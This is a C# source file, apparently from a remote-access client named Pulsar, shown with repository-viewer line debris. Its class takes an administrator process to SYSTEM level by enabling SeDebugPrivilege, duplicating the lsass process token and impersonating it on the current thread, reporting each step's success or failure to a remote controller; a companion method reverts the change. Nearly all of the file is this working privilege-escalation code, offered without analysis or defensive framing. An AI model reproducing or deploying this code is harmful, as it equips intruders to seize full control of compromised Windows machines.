205 lines
6.6 KiB
C#
205 lines
6.6 KiB
C#
using Pulsar.Common.Messages;
|
|||
|
|
using Pulsar.Common.Networking;
|
||
|
|
using System;
|
||
|
|
using System.Diagnostics;
|
||
|
|
using System.Runtime.InteropServices;
|
||
|
|
using System.Security.Principal;
|
||
|
|
|
||
|
|
namespace Pulsar.Client.Helper
|
||
|
|
{
|
||
|
|
public class SystemElevation
|
||
|
|
{
|
||
|
|
private const uint TOKEN_ALL_ACCESS = 0x000F01FF;
|
||
|
|
private const uint TOKEN_DUPLICATE = 0x00000002;
|
||
|
|
private const uint TOKEN_QUERY = 0x00000004;
|
||
|
|
private const int SE_PRIVILEGE_ENABLED = 0x2;
|
||
|
|
|
||
|
|
[StructLayout(LayoutKind.Sequential)]
|
||
|
|
public struct TokPriv1Luid
|
||
|
|
{
|
||
|
|
public int Count;
|
||
|
|
public long Luid;
|
||
|
|
public int Attr;
|
||
|
|
}
|
||
|
|
|
||
|
|
[DllImport("advapi32.dll", SetLastError = true)]
|
||
|
|
public static extern bool OpenProcessToken(IntPtr processHandle, uint desiredAccess, out IntPtr tokenHandle);
|
||
|
|
|
||
|
|
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||
|
|
public static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out long lpLuid);
|
||
|
|
|
||
|
|
[DllImport("advapi32.dll", SetLastError = true)]
|
||
|
|
public static extern bool AdjustTokenPrivileges(
|
||
|
|
IntPtr tokenHandle,
|
||
|
|
bool disableAllPrivileges,
|
||
|
|
ref TokPriv1Luid newState,
|
||
|
|
int bufferLength,
|
||
|
|
IntPtr previousState,
|
||
|
|
IntPtr returnLength);
|
||
|
|
|
||
|
|
[DllImport("advapi32.dll", SetLastError = true)]
|
||
|
|
public static extern bool DuplicateToken(IntPtr existingTokenHandle, int impersonationLevel, out IntPtr duplicateTokenHandle);
|
||
|
|
|
||
|
|
[DllImport("advapi32.dll", SetLastError = true)]
|
||
|
|
public static extern bool SetThreadToken(IntPtr thread, IntPtr token);
|
||
|
|
|
||
|
|
[DllImport("kernel32.dll")]
|
||
|
|
public static extern IntPtr GetCurrentProcess();
|
||
|
|
|
||
|
|
public static void Elevate(ISender client)
|
||
|
|
{
|
||
|
|
if (!IsAdministrator())
|
||
|
|
{
|
||
|
|
Debug.WriteLine("Run the Command as an Administrator");
|
||
|
|
client.Send(new SetStatus { Message = "Run the Command as an Administrator" });
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
|
||
|
|
if (!EnablePrivilege("SeDebugPrivilege"))
|
||
|
|
{
|
||
|
|
Debug.WriteLine("Failed to enable SeDebugPrivilege.");
|
||
|
|
client.Send(new SetStatus { Message = "Failed to enable SeDebugPrivilege." });
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
|
||
|
|
if (!DuplicateAndSetToken())
|
||
|
|
{
|
||
|
|
Debug.WriteLine("Token duplication and impersonation failed.");
|
||
|
|
client.Send(new SetStatus { Message = "Token duplication and impersonation failed." });
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
Debug.WriteLine("Token duplication and impersonation successful.");
|
||
|
|
client.Send(new SetStatus { Message = "Token duplication and impersonation successful." });
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private static bool IsAdministrator()
|
||
|
|
{
|
||
|
|
WindowsPrincipal principal = new WindowsPrincipal(WindowsIdentity.GetCurrent());
|
||
|
|
return principal.IsInRole(WindowsBuiltInRole.Administrator);
|
||
|
|
}
|
||
|
|
|
||
|
|
private static bool EnablePrivilege(string privilege)
|
||
|
|
{
|
||
|
|
if (!LookupPrivilegeValue(null, privilege, out long luid))
|
||
|
|
{
|
||
|
|
return false;
|
||
|
|
}
|
||
|
|
|
||
|
|
TokPriv1Luid tpLuid = new TokPriv1Luid
|
||
|
|
{
|
||
|
|
Count = 1,
|
||
|
|
Luid = luid,
|
||
|
|
Attr = SE_PRIVILEGE_ENABLED
|
||
|
|
};
|
||
|
|
|
||
|
|
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, out IntPtr hToken))
|
||
|
|
{
|
||
|
|
return false;
|
||
|
|
}
|
||
|
|
|
||
|
|
try
|
||
|
|
{
|
||
|
|
return AdjustTokenPrivileges(hToken, false, ref tpLuid, 0, IntPtr.Zero, IntPtr.Zero);
|
||
|
|
}
|
||
|
|
finally
|
||
|
|
{
|
||
|
|
CloseHandle(hToken);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private static bool DuplicateAndSetToken()
|
||
|
|
{
|
||
|
|
Process lsass = Process.GetProcessesByName("lsass")[0];
|
||
|
|
if (!OpenProcessToken(lsass.Handle, TOKEN_DUPLICATE | TOKEN_QUERY, out IntPtr hLsassToken))
|
||
|
|
{
|
||
|
|
return false;
|
||
|
|
}
|
||
|
|
|
||
|
|
try
|
||
|
|
{
|
||
|
|
if (!DuplicateToken(hLsassToken, 2, out IntPtr duplicateTokenHandle))
|
||
|
|
{
|
||
|
|
return false;
|
||
|
|
}
|
||
|
|
|
||
|
|
try
|
||
|
|
{
|
||
|
|
return SetThreadToken(IntPtr.Zero, duplicateTokenHandle);
|
||
|
|
}
|
||
|
|
finally
|
||
|
|
{
|
||
|
|
CloseHandle(duplicateTokenHandle);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
finally
|
||
|
|
{
|
||
|
|
CloseHandle(hLsassToken);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
||
|
|
[return: MarshalAs(UnmanagedType.Bool)]
|
||
|
|
private static extern bool CloseHandle(IntPtr hObject);
|
||
|
|
public static void DeElevate(ISender client)
|
||
|
|
{
|
||
|
|
if (!IsAdministrator())
|
||
|
|
{
|
||
|
|
Debug.WriteLine("Run the Command as an Administrator");
|
||
|
|
client.Send(new SetStatus { Message = "Run the Command as an Administrator" });
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
|
||
|
|
if (!DisablePrivilege("SeDebugPrivilege"))
|
||
|
|
{
|
||
|
|
Debug.WriteLine("Failed to disable SeDebugPrivilege.");
|
||
|
|
client.Send(new SetStatus { Message = "Failed to disable SeDebugPrivilege." });
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
|
||
|
|
if (!RevertToSelf())
|
||
|
|
{
|
||
|
|
Debug.WriteLine("Failed to revert to self.");
|
||
|
|
client.Send(new SetStatus { Message = "Failed to revert to self." });
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
Debug.WriteLine("Reverted to self successfully.");
|
||
|
|
client.Send(new SetStatus { Message = "Reverted to self successfully." });
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private static bool DisablePrivilege(string privilege)
|
||
|
|
{
|
||
|
|
if (!LookupPrivilegeValue(null, privilege, out long luid))
|
||
|
|
{
|
||
|
|
return false;
|
||
|
|
}
|
||
|
|
|
||
|
|
TokPriv1Luid tpLuid = new TokPriv1Luid
|
||
|
|
{
|
||
|
|
Count = 1,
|
||
|
|
Luid = luid,
|
||
|
|
Attr = 0 // Disable the privilege
|
||
|
|
};
|
||
|
|
|
||
|
|
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, out IntPtr hToken))
|
||
|
|
{
|
||
|
|
return false;
|
||
|
|
}
|
||
|
|
|
||
|
|
try
|
||
|
|
{
|
||
|
|
return AdjustTokenPrivileges(hToken, false, ref tpLuid, 0, IntPtr.Zero, IntPtr.Zero);
|
||
|
|
}
|
||
|
|
finally
|
||
|
|
{
|
||
|
|
CloseHandle(hToken);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
[DllImport("advapi32.dll", SetLastError = true)]
|
||
|
|
public static extern bool RevertToSelf();
|
||
|
|
}
|
||
|
|
}
|